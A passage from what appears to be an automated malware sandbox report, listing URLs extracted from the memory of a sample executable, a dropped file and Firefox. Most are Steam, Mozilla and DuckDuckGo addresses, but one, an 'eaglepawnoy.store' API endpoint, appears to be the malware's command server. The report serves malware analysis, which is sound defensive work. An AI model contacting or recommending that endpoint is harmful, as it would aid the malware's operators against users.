Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptacul
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shH
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_reX
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2142341622.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134275878.0000000000AE1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C7000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901157759.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000003.2901061676.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032649215.0000000001699000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflarex
Source: firefox.exe, 0000001B.00000002.3303238080.00000170842E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3298702178.0000017083B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2183850637.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3109202383.0000000005E22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3217655123.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219276546.0000000005972000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219501177.0000000005975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000003.3129585316.000001708BE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3300643832.0000017083EE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3280899223.0000017081FC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3129585316.000001708BE81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3133141618.000001708BDF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3255924567.000001E2F2600000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000003.3221206285.000001708BF77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000003.3101001598.0000017080DE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3275969603.0000017080DF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3088112226.000001708360F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3082674705.0000017083400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3277613041.0000017081144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3089312930.0000017083631000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3090212714.0000017083652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296245182.0000017083800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2156705356.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156839370.000000000577A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156632127.000000000577C000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3049132775.0000000005E2B000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048636606.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3153468407.00000000059AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3141316224.000001708C1C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3296245182.0000017083800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3115631596.000001708C1C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: file.exe, 00000000.00000003.2134302834.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142391592.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api
Source: firefox.exe, 0000001B.00000002.3310993207.0000017084B16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281310236.000001708318D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
